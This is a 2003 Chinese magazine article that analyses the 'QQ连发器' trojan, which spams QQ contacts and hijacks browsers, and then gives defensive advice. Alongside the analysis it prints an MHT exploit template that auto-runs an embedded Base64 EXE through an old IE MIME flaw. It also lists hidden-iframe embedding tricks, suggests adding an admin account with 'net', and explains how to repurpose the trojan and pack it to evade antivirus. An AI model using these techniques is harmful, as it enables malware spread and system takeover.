QQ连发器制作原理及防范
这是03年的一篇分析文章,以前在黑客防线上刊登过。最近有人关注这个,就贴在这里了。
本文首发于黑客防线2003年第9期
编者按:最近网络上热闹的事情很多,不过很多事情都似乎与我们无关。但是对于经常用QQ的朋友来说,我们今天要谈的话题就可能与您息息相关了。走遍各大BBS,特别是在病毒板块,我们随处可以听到求救之声。不过,我们今天主要谈的是关于这种QQ连发器的制作原理,看过之后,您还能说您不知道如何防范吗?
QQ连发器制作原理及防范
5月28日,瑞星全球反病毒监测网截获了利用QQ进行传播的木马病毒:“QQ 连发器”(Trojan.WebAuto、Trojan.WebAuto.a)。该病毒会偷偷藏在用户的系统中,发作时会寻找QQ窗口,每隔1分钟就给所有在线上的QQ好友发送诸如“激情电影爽啊!给你也推荐一下,完全免费--”之类的假消息,诱惑用户点击一个网站,如果有人点击并进入该网站的话,会自动下在一个EXE文件执行。该EXE文件会将自己保存在system32目录下,并且会修改用户机器的注册表,使得IE首页指向上面提到的网站,并且在注册表中RUN选项下面添加键值指向system32的病毒文件副本使得机器每次启动后都会自动加载该程序。在WebAuto.exe文件运行的过程中,它还会创建并执行一个EXEAuto.exe的文件,又创建Qupdate.exe文件,并在注册表中RUN选项下加入load键并指向该文件。
目前该病毒已经出现多个版本,涉及到该问题的网站也非常之多。对于很多版本来说,为了避免被人调试分析,其EXE文件都经过了加壳处理的。这里我们列举很多网友碰到过的几个网站:
http://www.film****.com/
http://www.happy***.net
http://www.qq5**.com
http://p163.nease.net
http://bbll.bl.am
http://www.qq3344.com
当然,目前有些网站或许已经良心发现,有的将有关代码去掉了,有的网站已经无法访问,而还有的网站已经关闭。不过,这种打广告的方法确实是非常令人痛恨的。
下面我们具体分析一下QQ连发器的相关原理。
一、QQ连发器WEBAUTO.EXE文件的原理
关于这个文件的运作方式,在安全焦点上linuxh4cker做了比较细致的分析。不过,我这觉得这里还是有必要谈一下。
其实操纵QQ这种思想最初是在中国黑客,爱情森林等病毒上用到的。在《黑客防线》今年5月份发行的增刊上,pkxp/CVC发表的“基于P2P思想的QQ蠕虫的原理和防范”一文中也提到过,并且有编程代码分析。
笔者通过对WebAuto.exe的反汇编和分析,对其行为步骤总结如下:
———————————————Main————————————————————
1.通过GetStartUpInfoA函数获得进程信息。
2.通过GetModuleHandleA函数得到当前程序句柄。
3.将字符串广告中网址http://www.happy666.net的Base64编码后的字串“aHR0cD......."压入堆栈。
4.通过GetActiveWindow获得当前活动窗口句柄。
5.通过ShowWindow(设置SW_Hide)将刚才的活动窗口隐藏。
6.利用CreateMutexA创建名为“WebAuto”的互斥体,避免同一个程序多次同时运行。
7.如果当前程序执行体已经存在或者CreateMutexA返回错误,则当前程序退出。否则,继续。
———————————————主循环———————————————————
8.将内存中40324C位置的值增加1。如果该值为28H(即循环40次),则跳到30步执行,否则继续。
9.通过GetModulFileNameA获得当前程序的完整路径名称。
10.通过GetSystemDirectoryA获得系统目录。
11.通过sprintf函数合并系统目录和“WebAuto.exe“得到目标路径,譬如C:\winnt\system32\webauto.exe。
12.通过CopyFileA函数将当前运行的文件拷贝到刚才得到的目标路径,最后一个参数为False,这样即使目标文件存在,也不会出错。
13.在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
\Run下添加WebAuto.exe键值并指向刚才的目标路径。
14.在注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Run添加WebAuto.exe键值并指向刚才的目标路径。
15.将上面经过Base64编码的网址信息还原为网址字符串http://www.happy666.net。
16.修改注册表HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main下的键值Start Page指向刚才得到的网址http://www.happy666.net。
17.调用sleep函数,默认休息一分钟。(如果后面没有找到发送消息窗口,这里的休息时间将设置为500毫秒)。
18.跳到20步执行。
19.跳到第8步继续循环。
————————利用QQ发送消息的子程序(call from step19)————————
20.通过FindWinowExA函数寻找第一个标题为“发送消息“的窗口,得到其句柄。
21.如果没有找到该窗口,将在第17步的休息时间改为500毫秒(1F4H),并返回到第19步执行。否则,继续。
22.通过刚才得到的窗口句柄,通过FindWindowExA函数寻找RICHEDIT类的窗口句柄(即我们添发送消息的那个文本输入框)。
23.通过FindWindowExA函数寻找“送消息(&S)”这个按钮,如果没有找到,说明找到的窗口不是QQ发送窗口,返回到第19步执行。否则继续。
24.随机选择3条广告信息中一条的Base64编码字串,并将其通过Base64解码还原。
25.通过sprintf函数将广告信息和网址合并成要最终添加到QQ发送框的广告信息。
26.通过SendMessageA函数(设置参数WM_SETTEXT)将广告信息添加到QQ发送框中。
27.通过SetForegroundWindow函数将焦点放到QQ发送消息窗口。
28.通过keybd_event函数模拟CTRL,ENTER两键的按下和放开。用来自动发送QQ消息。
29.将第17步的休息时间改为一分钟(0EA60H=60000毫秒)。然后返回第19步继续执行。
————————写入并运行EXEAuto.exe文件(call from step8)———————
30.将第8步用到的内存中40324C位置的值设置为0
31.通过GetProfileIntA函数获得win.ini文件中AutoTime节CurTime的值,如果该值和某个值相等,则返回第9步继续执行,否则,继续。
32.通过Base64解码得到网址http://update.myxq.com,并通过sprintf将其和myautoexe.exe组合得到网址http://update.myxq.com/myautoexe.exe(该文件为24K,和后面20K的QUpdate.exe文件功能好像是差不多)。
33.通过GetSystemDirectoryA获得系统目录,并将其通过sprintf函数与字符串EXEAuto.exe合并得到目标路径C:\winnt\system32\EXEAuto.exe。
34.将myautoexe.exe内容写到C:\winnt\system32\EXEAuto.exe文件(其中应该有细微变化,这里笔者分析得不是太细致,但基本功能应该是这样)。
35.通过WriteProfileString将AutoTime节的CurTime值设置为1
36.通过ShellExecute函数调用执行C:\winnt\system32\EXEAuto.exe文件。
37.返回第9步继续执行。
—————————————————————————————————————
其中EXEAuto.exe文件在每次开始运行时,会设置Win.ini文件中NextOpen节NextTime字段,其内容为“NextTime=下次OPEN 52 分 16 秒!“的形式。即表示下次是在52分10秒调出广告窗口(譬如http://ads.myxq.com:88/ads.htm)。这个时间是不固定的。每次EXEAuto.exe文件重新运行时,其都会改变NextTime中的值。该文件还会将自己拷贝一份文件到C:\WINNT\System32\QUpdate.exe,并在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加load键值指向C:\WINNT\System32\QUpdate.exe文件,这样以后每次启动时便会运行Qupdate.exe文件。
上面为了大家理解起来方便,我将各个程序模块用虚线分开,并注明了每个模块的功能。我想,大家看完之后,对QQ连发器的行为应该非常熟悉了。
WebAuto.exe文件一样可以改回注册表,我原以为这也是借用了中国黑客病毒所用到的监视注册表的技术。通过上面的分析,大家应该也看得出来,其实际上是使用一个循环做到这点的,它本身并没有对注册表进行监视,而是不停地定期重新写该值。当然也在不停地做Copy文件的操作。
关于WEBAUTO.EXE文件的运行方式和原理,我想到这里应该已经介绍得很清楚。这里不再继续浪费版面了。让我们进入下一个问题。
二、如何打造可以自动运行的EXE文件
关于这个问题,其实很早以前Nimda病毒就给这个功能做出了榜样。在第7期的黑防专题中也提到了这个问题。
我们先看一点资料吧。
“该漏洞(错误的MIME头漏洞)是由Juan Carlos Garcia Cuartango安全小组发现的,该小组发现MEMI在处理不正常的MIME类型时存在问题,攻击者可以建立一个包含可执行文件的附件的HTML EMAIL并修改MIME头,使IE不正确处理这个MIME所指定的执行文件附件。一般情况下如果附件是文本文件,IE会读它,如果是VIDEOCLIP,IE会查看,如果是图形文件,IE就会显示它,但如果是一个EXE文件,IE就会提示用户是否执行,但具有危害的是,当攻击者更改MIME类型后,IE就会不经过提示用户是否执行而直接运行,从而使攻击者加在附件中的程序或者攻击命令能够按照攻击者设想的情况实行。”
在我们碰到的大多数网站中,它们是将EXE文件Base64编码后放在.mht和.eml格式的文件中,触发文件下载并在本地执行的。.eml文件大家应该都比较熟悉了,这里介绍一下mht文件格式。mht文件同样也遵循MIME标准,包括IE、Outlook在内的许多软件可以直接将这种格式的文件打开。当您用IE把一篇网页另存为时,就会有这种格式让您选择,叫WEB档案。说的简单一点,就是把网页中的全部类型的元素统一保存,而不会出现全部保存时的那个装各种元素文件的文件夹,是保存和离线浏览网页的好办法,有点类似于PDF的感觉。其可以通过IE查看,当然用一些网页编辑软件也能打开。
MHTML指HTML文档聚集的MIME封装,其是用于定义发送邮件正文中的HTML内容的MIME (Multipurpose Internet Mail Extensions)结构的Internet标准。.MHT是一种相当常见的格式,可以将多个封装的文件与HTML文档相关联。
MHTML会对当前的HTML页面进行“快照”,并存放在电子邮件中使得可以向外发送或是可以使得该页面可以在Internet Explorer中离线浏览。
下面我们看看MHT的具体格式:
Content-Type: multipart/related;//它定义了数据的类型,以便数据能被适当的处理。
type="multipart/alternative";//它定义了数据的类型,以便数据能被适当的处理。
boundary="====B====" //定义分界线
--====B==== //分界线
Content-Type: multipart/alternative;
boundary="====A====" //定义分界线
--====A==== //分界线
Content-Type: text/html;//它定义了数据的类型,以便数据能被适当的处理。
Content-Transfer-Encoding: quoted-printable
<iframe src=3Dcid:Mud height=3D0 width=3D0>
</iframe>
--====A====-- //分界线,后面有--
--====B==== //分界线
Content-Type: audio/x-wav;//它定义了数据的类型,以便数据能被适当的处理。
name="test.exe" //这里定义文件名字
Content-Transfer-Encoding: base64
//这里决定了编码方式,譬如对于vbs文件来说也可以采用quoted-printable
Content-ID: <Mud> //对应了上面的src=3Dcid:Mud
//以下就是文件内容了,对于上面的设定来说,这里就是EXE文件的Base64编码。
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAA(后面省略)
--====B====//分界线
上面是一个对于一个简单的VBS文件的测试,同样我们也可以用BAT、EXE文件作为测试。不过对于EXE文件来说,由于很多字符是无法直接将其内容贴在后面的,所以其一般都必须通过特殊编码后放上来,通常采用Base64编码。
那什么是Base64编码呢?Base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,大家可以查看RFC2045~RFC2049,上面有MIME的详细规范。
Base64要求把每三个8Bit的字节转换为四个6Bit(3*8 = 4*6 = 24),然后在6Bit之前添加两个高位0,形成四个8Bit的字节。这样最后形成的每个字节实际上只有6个有效位,其只能表示0…63共64个数,或许这也正是Base64的由来。得到这些数后,然后通过一个码表(其将0-63分别映射到26*2个大小写字母(a..z,A..Z)、10个数字(0-9),和“+”、“-”两个符号,共64个字符)将这些数字转化为相应的字符,即得到相应的Base64编码。看过EXE文件Base64编码的朋友一定知道,其中含有很多A,为什么呢?因为EXE文件中有很多字节0,而0在码表中就对应着字符“A”啊!
或许您还会问,如果原码个数不是3的整数倍怎么办?这时,我们需要将在原码各位分隔成6位一组后,后面不足6位的补0,如果后面还不够,以“=”补足4个Base64编码字节。譬如,如果末尾字符只剩下m,那么其Base64编码为bQ= = 。这就是Base64编码的全部过程。
而Base64的解码过程则正好相反,这个解码过程大家可以自己好好想想了。
好了,我们现在想想,应该如何将EXE文件Base64编码后放入上面.mht文件中呢?
首先是如何对庞大的EXE文件进行Base64编码的问题?难道我们自己一个一个的拆分字节位、查表吗?我可没有这个精力,一二十个字符我可能还行,再多了就没有这个耐心了!年轻人尽管精力比较旺盛,但是不能用在这么无聊的事情上面J。呵呵,不要告诉我,哪怕只对于20KBytes的文件来说,您有这个耐心!GOD,救护车!!!
那怎么办?其实很简单,我们打开Outlook,新建一个文件,添加我们的EXE文件为附件,保存为eml文件后,我们可以以文本方式打开这个文件,里面自然就会找到EXE文件的Base64编码。Copy+Paste,就解决问题了。你也可以利用foxmail,就可以很容易得到你想得到的一些木马或者攻击行软件的Base64的编码格式文件,具体的操作方法是:你用FOXMAIL写一封信,然后把你想得到Base64编码的软件增加到附件中去,然后查看信件的全部信息,这样就可以得到该EXE文件的Base64编码格式的代码。
不过注意修改上面的编码方式、文件名,呵呵,对了记得去掉我给的注释。在上面的文件中,我们也可以采用BAT,用net命令添加管理员账号哦。这里不再一一叙述了。
对于从恶意网站下载的.eml和.mht的文件,很多朋友会感到非常惊讶:为什么鼠标选中这个文件就会自动运行?其实,这是因为您的机器设置了预览功能,平时,我们点击一个htm文件的时候,左边不是一样会有预览的效果吗?既然可以预览,自然便会触发该文件中的代码了。所以自动下载甚至运行就不足为怪了。
三、如何跟网页扯上点关系
看过很多恶意网站,我见到过以下几种方式,这里介绍一下:
1.通过<frame src=”love.mht”>
这里实际上采用的是HTML里面的分帧标签。譬如,某个网站采用了以下代码:
<frame name="footer" scrolling="no" noresize target="main" src="520.mht">
如果您对分帧不了解的话,可以看看HTML方面的资料。网上可以搜出一大堆。其主要框架就是:
<frameset>
<frame src=..>
<frame src=..>
</frameset>
2.通过<iframe src=”love.mht”>
这里采用的是活动帧,这也是大多数恶意网站采用的方法。举个例子:
<iframe src=love.mht width=0 height=0></iframe>
3.通过window.open方法
譬如,某个网站采用了以下代码:
window.open("love.mht",null,"width=1,height=1,top=1,left=1,location=no,menubar=no,toolbar=no,scrollbars=no,resizable=yes")
当然方法可能还有很多,这里就不一一列举了。
四、如何打造自己的QQ连发器
我想大家应该和我一样,一定对QQ连发器深恶痛绝。不过,我们或许有时候自己也想做个测试一下(有这种想法真是罪过啊!),呵呵,那我们现在就仅当探讨一下吧!
大家是否想过:为什么会有这么多网站用了同一个程序,但是其中的目标广告网址却不一样呢?
思考中……
呵呵,我是作者我怕谁,我优先发言。我在想,是不是有某个配置程序可以专门来配置这个文件的网址信息呢?或者是作者将这个程序分别为几个朋友网站各做了一个(仅修改某些信息就可以了)?还是哪位兄弟拿到样本后,自己修改的那个EXE文件?我们不得而知啊!郁闷……,谁可以告诉我!?
算了,对我来说这个问题并不是那么重要。我们看看我们自己如何修改这个WebAuto.exe文件为我们自己所用吧!呵呵,不就是一个网址吗?!
从上面第一部分的分析中我们可以看出,对于http://www.happy666.net这个网站,如果您直接在EXE文件中搜索这个字符串的话,肯定是搜索不到的,因为其是通过了Base64编码的,不过我们可以找到http://www.happy666.net这串字符的Base64编码。既然如此,我们将自己的网址Base64编码后替换这串字符,是不是就可以打造自己的QQ连发器了呢?
对了,WebAuto.exe这个文件目前肯定已经上了各大杀毒软件的黑名单了。呵呵,不过没有多大关系,我们将其用各种加壳软件改造一下,效果也会不错!
既然如此,我想后面也就不用我说了吧。各自开工吧!
五、如何防范?
如果您已经中了QQ连发器,看了第一部分分析之后,我想也不用我来废话了。其并没有对进程作任何保护,进程直接就可以关闭,进程关闭之后,其它一切都好说。不过,有些网站可能对目标文件改名了的,不过,不要紧,譬如对于filem3344来说,其3个文件名为intenats.exe、widows.exe、sysfile.exe。你可能要问,我怎么知道就是这几个文件呢?很简单,在system32目录下按照时间排列图标,最后3个文件就是了。哎,还是说了这么多废话!
如果您现在还没有中QQ连发器,呵呵,我想看过本文之后,如果您脑袋稍微清醒一点,不是过于沉浸于什么“免费激情电影”的话,您中招的机会也并不会太多J。
当然,如果您觉得其诱惑力实在过于巨大,无法抗拒的话。您可以这样加固保险系数:打开IE,进入工具菜单,点击“Internet选项”—“安全”—“自定义级别”—“下载”,选择禁用,这样的话就不用担心那个EXE文件会自动下载、更不用说运行了。
如果您不希望这么暴力,那就试试在IE浏览器地址栏中输入“view-source:http://目标网址”,这时会将对方网站的源代码显示出来,先看看再说,如果您确保安全,呵呵,再进也不迟哦。
最后要说明的是上面那个漏洞的利用条件就是被攻击目标使用IE5.0 IE5.01 IE5.5。这样的话,您就可以通过升级您的IE浏览器阻止其自动执行。升级后至少它在下载文件前会询问您是下载还是打开。这样的话,您是否会觉得安全了很多呢?
后记:这个程序的跟踪调试花了我不少功夫,不过也算是学到了一点调试方面的知识,尽管注册表什么的被修改过N次了,并且还不定期地弹出一些激情广告(呵呵,人家肯定以为我在上XX网站了。不好,旁边好像还有MM,形象大损了)。从目前情况看,涉及到QQ连发器的网站好象都差不多关闭或者拿掉相关代码了。不过这种行为,是我们无数无辜Q友所痛恨的!衷心希望这种事情一去永不复返。

